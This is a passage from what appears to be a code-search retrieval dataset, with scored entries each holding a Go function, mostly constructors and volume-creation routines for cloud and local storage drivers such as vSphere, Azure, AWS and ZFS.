Create(ctx Context, id types.VolumeID) (*types.Volume, error) {\n\tctx.Log.Debugf(\"driver wrapper [%s] creates volume: %s\", r.Name(ctx), id.Name)\n\n\tctx.Log.Debugf(\"driver wrapper gets options: %v\", id.Options)\n\n\tif err := r.proxy.Create(id.Name, id.Options); err != nil {\n\t\treturn nil, err\n\t}\n\n\tmountPath, err := r.proxy.Path(id.Name)\n\tif err != nil {\n\t\tmountPath = \"\"\n\t}\n\n\treturn types.NewVolumeFromID(mountPath, \"\", id), nil\n}", "title": "" }, { "docid": "2157baa406d0da73bf86090363d72bd4", "score": "0.5509299", "text": "func CreateVolume(hs *v1alpha1.HelloStateful) error {\n\tpv, err := newPersistentVolume(hs)\n\tif err != nil {\n\t\tlogrus.Errorf(\"Failed to generate persistentVolume: %v\", err)\n\t\treturn err\n\t}\n\terr = sdk.Create(pv)\n\tif err != nil && !errors.IsAlreadyExists(err) {\n\t\tlogrus.Errorf(\"Failed to create persistentVolume: %v\", err)\n\t\treturn err\n\t}\n\terr = sdk.Get(pv)\n\tif err != nil {\n\t\tlogrus.Errorf(\"Failed to get persistentVolume: %v\", err)\n\t\treturn err\n\t}\n\n\tpvc, err := newPersistentVolumeClaim(hs)\n\tif err != nil {\n\t\tlogrus.Errorf(\"Failed to generate persistentVolumeClaim: %v\", err)\n\t\treturn err\n\t}\n\terr = sdk.Create(pvc)\n\tif err != nil && !errors.IsAlreadyExists(err) {\n\t\tlogrus.Errorf(\"Failed to create persistentVolumeClaim: %v\", err)\n\t\treturn err\n\t}\n\terr = sdk.Get(pvc)\n\tif err != nil {\n\t\tlogrus.Errorf(\"Failed to get persistentVolumeClaim: %v\", err)\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "3eb9715d1a1a2cb69ea9ac4ddaa9158c", "score": "0.55090815", "text": "func New(name string) *V {\n\treturn &V{\n\t\tinitialized: true,\n\t\tname: name,\n\t\tdata: []byte{},\n\t\tattrs: map[string]string{},\n\t\tchildren: map[string][]*V{},\n\t}\n}", "title": "" }, { "docid": "ceb6d7f7fa776a5c0902a386cd7cfc3d", "score": "0.548535", "text": "func (nemo *NEMO) NewVolumeIterator(start []byte, end []byte) *VolumeIterator {\n\tvar it VolumeIterator\n\tit.c = C.createVolumeIterator(nemo.c,\n\t\tgoByte2char(start), C.size_t(len(start)),\n\t\tgoByte2char(end), C.size_t(len(end)),\n\t\tC.bool(false),\n\t)\n\treturn &it\n}", "title": "" }, { "docid": "7b902dd33188cad98dbf1e9f5e067cb5", "score": "0.5467291", "text": "func NewVolumeLocal(ctrl *gomock.Controller) *VolumeLocal {\n\tmock := &VolumeLocal{ctrl: ctrl}\n\tmock.recorder = &VolumeLocalMockRecorder{mock}\n\treturn mock\n}", "title": "" }, { "docid": "24da73a75293602f83e261512a820464", "score": "0.54155755", "text": "func (vs *VSphere) CreateVolume(volumeOptions *vclib.VolumeOptions) (canonicalVolumePath string, err error) {\n\tglog.V(1).Infof(\"Starting to create a vSphere volume with volumeOptions: %+v\", volumeOptions)\n\tcreateVolumeInternal := func(volumeOptions *vclib.VolumeOptions) (canonicalVolumePath string, err error) {\n\t\tvar datastore string\n\t\t// Default datastore is the datastore in the vSphere config file that is used to initialize vSphere cloud provider.\n\t\tif volumeOptions.Datastore == \"\" {\n\t\t\tdatastore = vs.cfg.Global.Datastore\n\t\t} else {\n\t\t\tdatastore = volumeOptions.Datastore\n\t\t}\n\t\tdatastore = strings.TrimSpace(datastore)\n\t\t// Create context\n\t\tctx, cancel := context.WithCancel(context.Background())\n\t\tdefer cancel()\n\t\t// Ensure client is logged in and session is valid\n\t\terr = vs.conn.Connect(ctx)\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t\tdc, err := vclib.GetDatacenter(ctx, vs.conn, vs.cfg.Global.Datacenter)\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t\tvar vmOptions *vclib.VMOptions\n\t\tif volumeOptions.VSANStorageProfileData != \"\" || volumeOptions.StoragePolicyName != \"\" {\n\t\t\t// Acquire a read lock to ensure multiple PVC requests can be processed simultaneously.\n\t\t\tcleanUpDummyVMLock.RLock()\n\t\t\tdefer cleanUpDummyVMLock.RUnlock()\n\t\t\t// Create a new background routine that will delete any dummy VM's that are left stale.\n\t\t\t// This routine will get executed for every 5 minutes and gets initiated only once in its entire lifetime.\n\t\t\tcleanUpRoutineInitLock.Lock()\n\t\t\tif !cleanUpRoutineInitialized {\n\t\t\t\tglog.V(1).Infof(\"Starting a clean up routine to remove stale dummy VM's\")\n\t\t\t\tgo vs.cleanUpDummyVMs(DummyVMPrefixName)\n\t\t\t\tcleanUpRoutineInitialized = true\n\t\t\t}\n\t\t\tcleanUpRoutineInitLock.Unlock()\n\t\t\tvmOptions, err = vs.setVMOptions(ctx, dc)\n\t\t\tif err != nil {\n\t\t\t\tglog.Errorf(\"Failed to set VM options requires to create a vsphere volume. err: %+v\", err)\n\t\t\t\treturn \"\", err\n\t\t\t}\n\t\t}\n\t\tif volumeOptions.StoragePolicyName != \"\" && volumeOptions.Datastore == \"\" {\n\t\t\tdatastore, err = getPbmCompatibleDatastore(ctx, dc.Client(), volumeOptions.StoragePolicyName, vmOptions.VMFolder)\n\t\t\tif err != nil {\n\t\t\t\tglog.Errorf(\"Failed to get pbm compatible datastore with storagePolicy: %s. err: %+v\", volumeOptions.StoragePolicyName, err)\n\t\t\t\treturn \"\", err\n\t\t\t}\n\t\t}\n\t\tds, err := dc.GetDatastoreByName(ctx, datastore)\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t\tvolumeOptions.Datastore = datastore\n\t\tkubeVolsPath := filepath.Clean(ds.Path(VolDir)) + \"/\"\n\t\terr = ds.CreateDirectory(ctx, kubeVolsPath, false)\n\t\tif err != nil && err != vclib.ErrFileAlreadyExist {\n\t\t\tglog.Errorf(\"Cannot create dir %#v. err %s\", kubeVolsPath, err)\n\t\t\treturn \"\", err\n\t\t}\n\t\tvolumePath := kubeVolsPath + volumeOptions.Name + \".vmdk\"\n\t\tdisk := diskmanagers.VirtualDisk{\n\t\t\tDiskPath: volumePath,\n\t\t\tVolumeOptions: volumeOptions,\n\t\t\tVMOptions: vmOptions,\n\t\t}\n\t\tvolumePath, err = disk.Create(ctx, ds)\n\t\tif err != nil {\n\t\t\tglog.Errorf(\"Failed to create a vsphere volume with volumeOptions: %+v on datastore: %s. err: %+v\", volumeOptions, datastore, err)\n\t\t\treturn \"\", err\n\t\t}\n\t\t// Get the canonical path for the volume path.\n\t\tcanonicalVolumePath, err = getcanonicalVolumePath(ctx, dc, volumePath)\n\t\tif err != nil {\n\t\t\tglog.Errorf(\"Failed to get canonical vsphere volume path for volume: %s with volumeOptions: %+v on datastore: %s. err: %+v\", volumePath, volumeOptions, datastore, err)\n\t\t\treturn \"\", err\n\t\t}\n\t\tif filepath.Base(datastore) != datastore {\n\t\t\t// If datastore is within cluster, add cluster path to the volumePath\n\t\t\tcanonicalVolumePath = strings.Replace(canonicalVolumePath, filepath.Base(datastore), datastore, 1)\n\t\t}\n\t\treturn canonicalVolumePath, nil\n\t}\n\trequestTime := time.Now()\n\tcanonicalVolumePath, err = createVolumeInternal(volumeOptions)\n\tvclib.RecordCreateVolumeMetric(volumeOptions, requestTime, err)\n\tglog.V(1).Infof(\"The canonical volume path for the newly created vSphere volume is %q\", canonicalVolumePath)\n\treturn canonicalVolumePath, err\n}", "title": "" }, { "docid": "b8b1ef235554f40a273996a0e9468a00", "score": "0.54140747", "text": "func (c *Client) Volume(level string) error {\n\treturn discardResult(c.Cmd(\"vol \" + level))\n}", "title": "" }, { "docid": "ee3225a9e81857467eec7b4800906ca5", "score": "0.5412683", "text": "func (video *Video) New() item.Item {\n\treturn item.Item(NewVideo())\n}", "title": "" }, { "docid": "59f3103b9d3eb9fb5909d54a537e7298", "score": "0.540024", "text": "func New(s storage.Provider) (*VDRI, error) {\n\tdidDBStore, err := s.OpenStore(StoreNamespace)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"open store : %w\", err)\n\t}\n\n\treturn &VDRI{store: didDBStore}, nil\n}", "title": "" }, { "docid": "f259954ccb4361769fa6a2a81779bfed", "score": "0.5395624", "text": "func (c *EC2) CreateVolume(req *CreateVolumeRequest) (resp *Volume, err error) {\n\tresp = &Volume{}\n\terr = c.client.Do(\"CreateVolume\", \"POST\", \"/\", req, resp)\n\treturn\n}", "title": "" }, { "docid": "9f144f6bae82160b470407eba22325a8", "score": "0.53918666", "text": "func NewVolumeUtil() (VolumeUtil, error) {\n\treturn &volumeUtil{}, nil\n}", "title": "" }, { "docid": "101d9ce04f0962f51c1d86d8b0bca1ce", "score": "0.5391844", "text": "func New(filename string) Storage {\n\tdb, err := bolt.Open(filename, 0600, nil)\n\tif err != nil {\n\t\tlog.Fatalf(\"can't open storage file %s: %q\", filename, err)\n\t}\n\tstorage := &boltStorage{db: db}\n\terr = storage.createBuckets()\n\tif err != nil {\n\t\tlog.Fatalf(\"bucket creation error: %q\", err)\n\t}\n\treturn storage\n}", "title": "" }, { "docid": "59497c13fbe685774bddbc1fbf29ddd3", "score": "0.53802645", "text": "func New(params DriverParameters) (*Driver, error) {\n client := scs.New(params.Auth, params.Region)\n bucket := client.Bucket(params.Bucket)\n\n // Validate that the given credentials have at least read permissions in the given bucket scope.\n if _, err := bucket.List(\"\", \"\", \"\", 1); err != nil {\n return nil, err\n }\n\n d := &driver{\n Client: client,\n Bucket: bucket,\n ChunkSize: params.ChunkSize,\n zeros: make([]byte, params.ChunkSize),\n }\n\n d.pool.New = func() interface{} {\n return make([]byte, d.ChunkSize)\n }\n\n return &Driver{\n baseEmbed: baseEmbed{\n Base: base.Base{\n StorageDriver: d,\n },\n },\n }, nil\n}", "title": "" }, { "docid": "f313430e46c4c5bc98ecfa99a21cff38", "score": "0.5380033", "text": "func (c VolumeClient) CreateVolume(req CreateVolumeRequest) (Volume, error) {\n\tvar volume Volume\n\tpayload, err := json.Marshal(req)\n\tif err != nil {\n\t\treturn volume, errors.Wrap(err, \"failed to marshal request for CreateVolume\")\n\t}\n\n\tdata, err := c.api.Post(\"volumes\", payload)\n\tif err != nil {\n\t\treturn volume, errors.Wrap(err, \"failed to make request for CreateVolume\")\n\t}\n\n\tif err := json.Unmarshal(data, &volume); err != nil {\n\t\treturn volume, errors.Wrap(err, \"failed to decode CreateVolume response\")\n\t}\n\n\treturn volume, nil\n}", "title": "" }, { "docid": "5d71aa2291531e44db9e0a89061647fc", "score": "0.53789485", "text": "func New(opts ...Option) *Vector {\n\toption := Options{}\n\tfor _, opt := range opts {\n\t\topt(&option)\n\t}\n\treturn &Vector{\n\t\tdata: make([]interface{}, 0, option.capacity),\n\t}\n}", "title": "" }, { "docid": "b6febc1466e300b8626ddb09b39edcdc", "score": "0.53714603", "text": "func New() *Tree {\n\treturn newTree(0, 0, 0777)\n}", "title": "" }, { "docid": "167152fa18757a781bd90941fdf740b2", "score": "0.5369919", "text": "func New() PubSub {\n\treturn &impl{\n\t\twrapped: *pubsub.New(bufferSize),\n\t\tclosed: make(chan struct{}),\n\t}\n}", "title": "" }, { "docid": "4b59d3395fe4d0c947f43ee1c0b3f4a2", "score": "0.5369531", "text": "func NewVolumeService(concertoService utils.ConcertoService) (*VolumeService, error) {\n\tif concertoService == nil {\n\t\treturn nil, fmt.Errorf(\"must initialize ConcertoService before using it\")\n\t}\n\n\treturn &VolumeService{\n\t\tconcertoService: concertoService,\n\t}, nil\n}", "title": "" }, { "docid": "6b6bd32d2788553370281b4871264223", "score": "0.53684974", "text": "func New(length, capacity int) Vector {\n\treturn make(Vector, maxInt(0, length), maxInt(2, length, capacity))\n}", "title": "" }, { "docid": "bdc102facff207699475e3cf5838c7a4", "score": "0.53654456", "text": "func (d *AwsDriver) Create_Volume(params map[string]interface{}) (interface{}, error) {\n\tinput := &ec2.CreateVolumeInput{}\n\n\t// Required params\n\tsetField(params[\"zone\"], input, \"AvailabilityZone\")\n\tsetField(params[\"size\"], input, \"Size\")\n\n\tstart := time.Now()\n\toutput, err := d.ec2.CreateVolume(input)\n\tif err != nil {\n\t\td.logger.Errorf(\"create volume error: %s\", err)\n\t\treturn nil, err\n\t}\n\toutput = output\n\td.logger.ExtraVerbosef(\"ec2.CreateVolume call took %s\", time.Since(start))\n\tid := aws.StringValue(output.VolumeId)\n\td.logger.Verbosef(\"create volume '%s' done\", id)\n\treturn aws.StringValue(output.VolumeId), nil\n}", "title": "" }, { "docid": "12005a57fa3fe673b4a288e3f40c1d55", "score": "0.5365097", "text": "func New() (*FSStorage, error) {\n\tdir, err := ioutil.TempDir(\"\", \"storage\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn NewWithContext(context.Background(), dir)\n}", "title": "" }, { "docid": "4a089885f6c6dc1ef6266e2916a3c725", "score": "0.5346369", "text": "func New(d *directory.Directory) *Visual {\n\treturn &Visual{\n\t\tdir: d,\n\t}\n}", "title": "" }, { "docid": "57c597401bc7f713c8a322187f8ab64c", "score": "0.53417075", "text": "func (d *Driver) CreateVolume(ctx context.Context, req *csi.CreateVolumeRequest) (*csi.CreateVolumeResponse, error) {\n\tvar diskUri string\n\tsize, err := ValidateCreateVolume(req)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tvolumeName := req.Name\n\tlog := d.log.WithFields(logrus.Fields{\n\t\t\"volume_name\": volumeName,\n\t\t\"storage_size\": size / GiB,\n\t\t\"method\": \"create_volume\",\n\t\t\"volume_capabilities\": req.VolumeCapabilities,\n\t\t\"location\": d.az.Location,\n\t})\n\tlog.Info(\"create volume called\")\n\t// get volume first, if it's created do no thing\n\t// create logic\n\tgbSize := RoundUpGiB(size)\n\tresp := &csi.CreateVolumeResponse{\n\t\tVolume: &csi.Volume{\n\t\t\tVolumeId: volumeName,\n\t\t\tCapacityBytes: size,\n\t\t\tAccessibleTopology: []*csi.Topology{\n\t\t\t\t{\n\t\t\t\t\tSegments: map[string]string{\n\t\t\t\t\t\t// this is used for pv nodeAffinity, at lease to have one\n\t\t\t\t\t\t\"location\": d.az.Location,\n\t\t\t\t\t\t//\"diskUri\": diskUri,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\tContentSource: nil,\n\t\t},\n\t}\n\tdisk, rerr := d.az.DisksClient.Get(ctx, d.az.ResourceGroup, volumeName)\n\tif rerr == nil {\n\t\tif *disk.DiskSizeGB != int32(gbSize) {\n\t\t\treturn nil, status.Error(codes.AlreadyExists, \"disk already exits\")\n\t\t}\n\t\treturn resp, nil\n\t}\n\tsnapshotId := req.GetVolumeContentSource().GetSnapshot().GetSnapshotId()\n\tif len(snapshotId) != 0 {\n\t\t_, rerr = d.az.SnapshotsClient.Get(ctx, d.az.ResourceGroup, snapshotId)\n\t\tif rerr != nil {\n\t\t\terrMsg := rerr.RawError.Error()\n\t\t\tif strings.Index(rerr.RawError.Error(), \"NotFound\") != -1 {\n\t\t\t\treturn nil, status.Error(codes.NotFound, errMsg)\n\t\t\t}\n\t\t\treturn nil, status.Error(codes.Internal, errMsg)\n\t\t}\n\n\t\tvolumeOptions := &azure.ManagedDiskOptions{\n\t\t\tDiskName: volumeName,\n\t\t\tStorageAccountType: compute2.PremiumLRS,\n\t\t\tResourceGroup: d.az.ResourceGroup,\n\t\t\tSizeGB: int(gbSize),\n\t\t\tSourceType: sourceSnapshot,\n\t\t\tSourceResourceID: snapshotId,\n\t\t}\n\t\tresp.Volume.ContentSource = &csi.VolumeContentSource{\n\t\t\tType: &csi.VolumeContentSource_Snapshot{\n\t\t\t\tSnapshot: &csi.VolumeContentSource_SnapshotSource{\n\t\t\t\t\tSnapshotId: snapshotId,\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\t\tdiskUri, err = d.az.ManagedDiskController.CreateManagedDisk(volumeOptions)\n\t\tif err != nil {\n\t\t\tif strings.Index(err.Error(), \"NotFound\") != -1 {\n\t\t\t\treturn nil, status.Error(codes.NotFound, err.Error())\n\t\t\t}\n\t\t\treturn nil, status.Error(codes.Internal, err.Error())\n\t\t}\n\n\t} else {\n\t\tvolumeOptions := &azure.ManagedDiskOptions{\n\t\t\tDiskName: volumeName,\n\t\t\tStorageAccountType: compute2.PremiumLRS,\n\t\t\tResourceGroup: d.az.ResourceGroup,\n\t\t\tSourceType: sourceVolume,\n\t\t\tSizeGB: int(gbSize),\n\t\t}\n\t\tdiskUri, err = d.az.ManagedDiskController.CreateManagedDisk(volumeOptions)\n\t\tif err != nil {\n\t\t\treturn nil, status.Error(codes.Internal, err.Error())\n\t\t}\n\t\tresp.Volume.ContentSource = &csi.VolumeContentSource{\n\t\t\tType: &csi.VolumeContentSource_Volume{\n\t\t\t\tVolume: &csi.VolumeContentSource_VolumeSource{\n\t\t\t\t\tVolumeId: volumeName,\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\t}\n\n\tlog.WithField(\"response\", diskUri).Info(\"volume was created\")\n\treturn resp, nil\n\n}", "title": "" }, { "docid": "53208fd4e04a12a65ad953e2a4db2f35", "score": "0.53409487", "text": "func New() *List {\n\tlist := &List{}\n\tlist.length = 0\n\treturn list\n}", "title": "" }, { "docid": "e6f9e2bf2952c24527bf73cea722bd1e", "score": "0.53358954", "text": "func (a *Client) VolumeCreate(params *VolumeCreateParams, authInfo runtime.ClientAuthInfoWriter, opts ...ClientOption) (*VolumeCreateAccepted, error) {\n\t// TODO: Validate the params before sending\n\tif params == nil {\n\t\tparams = NewVolumeCreateParams()\n\t}\n\top := &runtime.ClientOperation{\n\t\tID: \"volume_create\",\n\t\tMethod: \"POST\",\n\t\tPathPattern: \"/storage/volumes\",\n\t\tProducesMediaTypes: []string{\"application/hal+json\", \"application/json\"},\n\t\tConsumesMediaTypes: []string{\"application/hal+json\", \"application/json\"},\n\t\tSchemes: []string{\"https\"},\n\t\tParams: params,\n\t\tReader: &VolumeCreateReader{formats: a.formats},\n\t\tAuthInfo: authInfo,\n\t\tContext: params.Context,\n\t\tClient: params.HTTPClient,\n\t}\n\tfor _, opt := range opts {\n\t\topt(op)\n\t}\n\n\tresult, err := a.transport.Submit(op)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tsuccess, ok := result.(*VolumeCreateAccepted)\n\tif ok {\n\t\treturn success, nil\n\t}\n\t// unexpected success response\n\tunexpectedSuccess := result.(*VolumeCreateDefault)\n\treturn nil, runtime.NewAPIError(\"unexpected success response: content available as default response in error\", unexpectedSuccess, unexpectedSuccess.Code())\n}", "title": "" }, { "docid": "13d1b07d67c77b0cc9173d12813be3a6", "score": "0.5331726", "text": "func New(opts ...option) DiskUtil {\n\tdu := diskUtil{\n\t\texecCommand: exec.Command,\n\t\tpl: plutil.New(),\n\t}\n\tfor _, opt := range opts {\n\t\topt(&du)\n\t}\n\treturn du\n}", "title": "" }, { "docid": "20e70e4fedd1ae0dd1c1e6b8a29dd9d8", "score": "0.53293914", "text": "func New() *Voodoo {\n\treturn &Voodoo{\n\t\tsources: []source.Source{},\n\t\treceivers: []receiver.Receiver{},\n\t}\n}", "title": "" }, { "docid": "03a87850db51a77f67083cbc3d4f08ae", "score": "0.5323487", "text": "func (d *Driver) CreateVolume(ctx context.Context, req *csi.CreateVolumeRequest) (*csi.CreateVolumeResponse, error) {\n\tif req.Name == \"\" {\n\t\treturn nil, status.Error(codes.InvalidArgument, \"CreateVolume Name must be provided\")\n\t}\n\n\tif req.VolumeCapabilities == nil || len(req.VolumeCapabilities) == 0 {\n\t\treturn nil, status.Error(codes.InvalidArgument, \"CreateVolume Volume capabilities must be provided\")\n\t}\n\n\t/*\n\t\tif req.AccessibilityRequirements != nil {\n\t\t\tfor _, t := range req.AccessibilityRequirements.Requisite {\n\t\t\t\tregion, ok := t.Segments[\"region\"]\n\t\t\t\tif !ok {\n\t\t\t\t\tcontinue // nothing to do\n\t\t\t\t}\n\n\t\t\t\tif region != d.region {\n\t\t\t\t\treturn nil, status.Errorf(codes.ResourceExhausted, \"volume can be only created in region: %q, got: %q\", d.region, region)\n\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t*/\n\n\tsizeGB, err := calculateStorageGB(req.CapacityRange)\n\tif err != nil {\n\t\treturn nil, status.Error(codes.InvalidArgument, err.Error())\n\t}\n\n\tvolumeName := req.Name\n\n\tll := d.log.WithFields(logrus.Fields{\n\t\t\"volume_name\": volumeName,\n\t\t\"storage_size_giga_bytes\": sizeGB,\n\t\t\"method\": \"create_volume\",\n\t\t\"volume_capabilities\": req.VolumeCapabilities,\n\t})\n\tll.Info(\"create volume called\")\n\n\t// get volume first, if it's created do no thing\n\tvolumes, err := d.cloudscaleClient.Volumes.List(ctx, &cloudscale.ListVolumeParams{\n\t\tName: volumeName,\n\t})\n\tif err != nil {\n\t\treturn nil, status.Error(codes.Internal, err.Error())\n\t}\n\n\t// volume already exist, do nothing\n\tif len(volumes) != 0 {\n\t\tif len(volumes) > 1 {\n\t\t\treturn nil, fmt.Errorf(\"fatal issue: duplicate volume %q exists\", volumeName)\n\t\t}\n\t\tvol := volumes[0]\n\n\t\tif vol.SizeGB != sizeGB {\n\t\t\treturn nil, status.Error(codes.AlreadyExists, fmt.Sprintf(\"invalid option requested size: %d\", sizeGB))\n\t\t}\n\n\t\tll.Info(\"volume already created\")\n\t\treturn &csi.CreateVolumeResponse{\n\t\t\tVolume: &csi.Volume{\n\t\t\t\tId: vol.UUID,\n\t\t\t\tCapacityBytes: int64(vol.SizeGB) * GB,\n\t\t\t},\n\t\t}, nil\n\t}\n\n\tvolumeReq := &cloudscale.Volume{\n\t\t/* Region: d.region, */\n\t\tName: volumeName,\n\t\tSizeGB: sizeGB,\n\t}\n\n\tif !validateCapabilities(req.VolumeCapabilities) {\n\t\treturn nil, status.Error(codes.AlreadyExists, \"invalid volume capabilities requested. Only SINGLE_NODE_WRITER is supported ('accessModes.ReadWriteOnce' on Kubernetes)\")\n\t}\n\n\tll.WithField(\"volume_req\", volumeReq).Info(\"creating volume\")\n\tvol, err := d.cloudscaleClient.Volumes.Create(ctx, volumeReq)\n\tif err != nil {\n\t\treturn nil, status.Error(codes.Internal, err.Error())\n\t}\n\n\tresp := &csi.CreateVolumeResponse{\n\t\tVolume: &csi.Volume{\n\t\t\tId: vol.UUID,\n\t\t\tCapacityBytes: int64(sizeGB) * GB,\n\t\t\tAccessibleTopology: []*csi.Topology{\n\t\t\t\t{\n\t\t\t\t\tSegments: map[string]string{\n\t\t\t\t\t\t\"region\": d.region,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\n\tll.WithField(\"response\", resp).Info(\"volume created\")\n\treturn resp, nil\n}", "title": "" }, { "docid": "5460bbc2c82caa876a5f1793df4244c1", "score": "0.5319954", "text": "func New() (*Client, error) {\n\t// Open KVM virtual device\n\tkvm, err := os.OpenFile(devKVM, syscall.O_RDWR|syscall.O_CLOEXEC, 0)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tc := &Client{\n\t\tkvm: kvm,\n\t\t// Perform real ioctl syscalls on device\n\t\tioctl: ioctl,\n\t}\n\n\t// Verify correct KVM API version\n\tversion, err := c.APIVersion()\n\tif err != nil {\n\t\t_ = c.Close()\n\t\treturn nil, err\n\t}\n\n\t// Incorrect API version\n\tif version != Version {\n\t\t_ = c.Close()\n\t\treturn nil, ErrIncorrectVersion\n\t}\n\n\treturn c, nil\n}", "title": "" }, { "docid": "6d43fd11f777b38360edf942347fc73c", "score": "0.5317608", "text": "func New(p string) FileSystem {\n\treturn FileSystem{\n\t\tbasePath: p,\n\t}\n}", "title": "" }, { "docid": "98b06a6c481b113d0dd751c13987b326", "score": "0.5308876", "text": "func New() (Storage, error) {\n\trecords, err := db.OpenRecords(db.LoadArangoConfig())\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\timages := cloud.New(cloud.LoadDropboxConfig())\n\n\treturn &ImageStorage{\n\t\trecordStorage: *records,\n\t\tcloudStorage: *images,\n\t}, nil\n}", "title": "" }, { "docid": "82cca61015efc62fcea157b2dd9b7beb", "score": "0.53043705", "text": "func CreateVolume(volume model.Volume) (bool, interface{}) {\n\tlunNum := addVolObejct(volume)\n\tlogger.Logger.Println(\"Codex :\\n\", volume, \"\\n Lunnum: \", lunNum)\n\tif lunNum == \"\" {\n\t\tstrerr := \" ZFS(Lun Numbering) : Faild )\"\n\t\tlogger.Logger.Println(strerr)\n\t\t// lunInt, _ := strconv.Atoi(lunNum)\n\t\tremoveVolObejct(volume)\n\t\treturn false, errors.New(\"[Cello] : \" + strerr)\n\t}\n\tvolume.LunNum, _ = strconv.Atoi(lunNum)\n\tif volume.UseType == \"os\" {\n\t\tcheck, err := clonezvol(volume)\n\t\tif !check {\n\t\t\t// lunInt, _ := strconv.Atoi(lunNum)\n\t\t\tremoveVolObejct(volume)\n\t\t\tlogger.Logger.Println(\" ZFS(OS) : Faild\")\n\t\t\treturn false, err\n\t\t}\n\t} else {\n\t\tcheck, err := createzvol(volume)\n\t\tif !check {\n\t\t\t// lunInt, _ := strconv.Atoi(lunNum)\n\t\t\tremoveVolObejct(volume)\n\t\t\tlogger.Logger.Println(\" ZFS(DATA) : Faild\")\n\t\t\treturn false, err\n\t\t}\n\t}\n\n\treturn true, lunNum\n\n}", "title": "" }, { "docid": "35e39825662127c0c426f7f348785df9", "score": "0.53015697", "text": "func New() computer {\n\tc := computer{}\n\tc.index = 0\n\tc.stepSize = 4\n\treturn c\n}", "title": "" }, { "docid": "0e5b8cd21c739092de85f8350a93a95a", "score": "0.52990365", "text": "func (r *Resolver) Volume() generated.VolumeResolver { return &volumeResolver{r} }", "title": "" }, { "docid": "bbf117c58d57610f898229f7713c81ea", "score": "0.5293347", "text": "func newProjectedVolume(cr *v1alpha1.RethinkDBCluster, name string) corev1.Volume {\n\treturn corev1.Volume{\n\t\tName: name,\n\t\tVolumeSource: corev1.VolumeSource{\n\t\t\tProjected: &corev1.ProjectedVolumeSource{\n\t\t\t\tSources: []corev1.VolumeProjection{\n\t\t\t\t\tcorev1.VolumeProjection{\n\t\t\t\t\t\tSecret: &corev1.SecretProjection{\n\t\t\t\t\t\t\tLocalObjectReference: corev1.LocalObjectReference{Name: fmt.Sprintf(\"%s-%s\", cr.ObjectMeta.Name, RethinkDBCAKey)},\n\t\t\t\t\t\t\tItems: []corev1.KeyToPath{\n\t\t\t\t\t\t\t\tcorev1.KeyToPath{\n\t\t\t\t\t\t\t\t\tKey: corev1.TLSCertKey,\n\t\t\t\t\t\t\t\t\tPath: fmt.Sprintf(\"%s.crt\", RethinkDBCAKey),\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t\tnewTLSVolumeProjection(cr, RethinkDBClusterKey),\n\t\t\t\t\tnewTLSVolumeProjection(cr, RethinkDBDriverKey),\n\t\t\t\t\tnewTLSVolumeProjection(cr, RethinkDBHttpKey),\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n}", "title": "" }, { "docid": "73b31e34d7df52239d8e0a0ce6ff67f5", "score": "0.52829385", "text": "func New(ctx context.Context, config *Config) (*Vault, error) {\n\tif config.AccessKeyID != \"\" {\n\t\tos.Setenv(\"AWS_ACCESS_KEY_ID\", config.AccessKeyID)\n\t\tos.Setenv(\"AWS_SECRET_ACCESS_KEY\", config.AccessKey)\n\t}\n\tos.Setenv(\"AWS_REGION\", config.Region)\n\tsess := session.Must(session.NewSession())\n\n\tapi := kms.New(sess)\n\treturn &Vault{\n\t\tkmsapi: api,\n\t\tconfig: *config,\n\t}, nil\n}", "title": "" }, { "docid": "ccd6acc7b34e536e69594a5beb756a73", "score": "0.52797705", "text": "func New(ctx context.Context, m map[string]interface{}) (storage.FS, error) {\n\tvar c config\n\tif err := cfg.Decode(m, &c); err != nil {\n\t\treturn nil, err\n\t}\n\n\tgateway, err := pool.GetGatewayServiceClient(pool.Endpoint(c.GatewaySVC))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\td := &driver{\n\t\tc: &c,\n\t\tgateway: gateway,\n\t}\n\n\treturn d, nil\n}", "title": "" }, { "docid": "1307fbe7ba4b02c90ca21bb130dd31ed", "score": "0.5275434", "text": "func New() (uploader.Uploader, error) {\n\tvar u msUploader\n\tsess, err := external.LoadDefaultAWSConfig()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tu.client = mediastore.New(sess)\n\treturn &u, nil\n}", "title": "" } ]
00410598bacaf9316b2c6b889aa96480
GoString returns the string representation. API parameter values that are decorated as "sensitive" in the API will not be included in the string output. The member name will be present, but the value will be replaced with "sensitive".
[ { "docid": "981a74e4aa91e3be059e8899a4f1d7fa", "score": "0.0", "text": "func (s AwsDynamoDbTableBillingModeSummary) GoString() string {\n\treturn s.String()\n}", "title": "" } ]
[ { "docid": "5a7ed8ec1b08670f51f2b47f2a75b0a4", "score": "0.60144764", "text": "func (p PlatformMember) String() string {\n\tjp, _ := json.Marshal(p)\n\treturn string(jp)\n}", "title": "" }, { "docid": "b4630d33b70c5844b5e64ade660963a3", "score": "0.5966819", "text": "func (s Member) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "b4630d33b70c5844b5e64ade660963a3", "score": "0.59660137", "text": "func (s Member) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "b4630d33b70c5844b5e64ade660963a3", "score": "0.59660137", "text": "func (s Member) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "b4630d33b70c5844b5e64ade660963a3", "score": "0.59660137", "text": "func (s Member) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "accd4137f896762440eab638351d91b7", "score": "0.59001756", 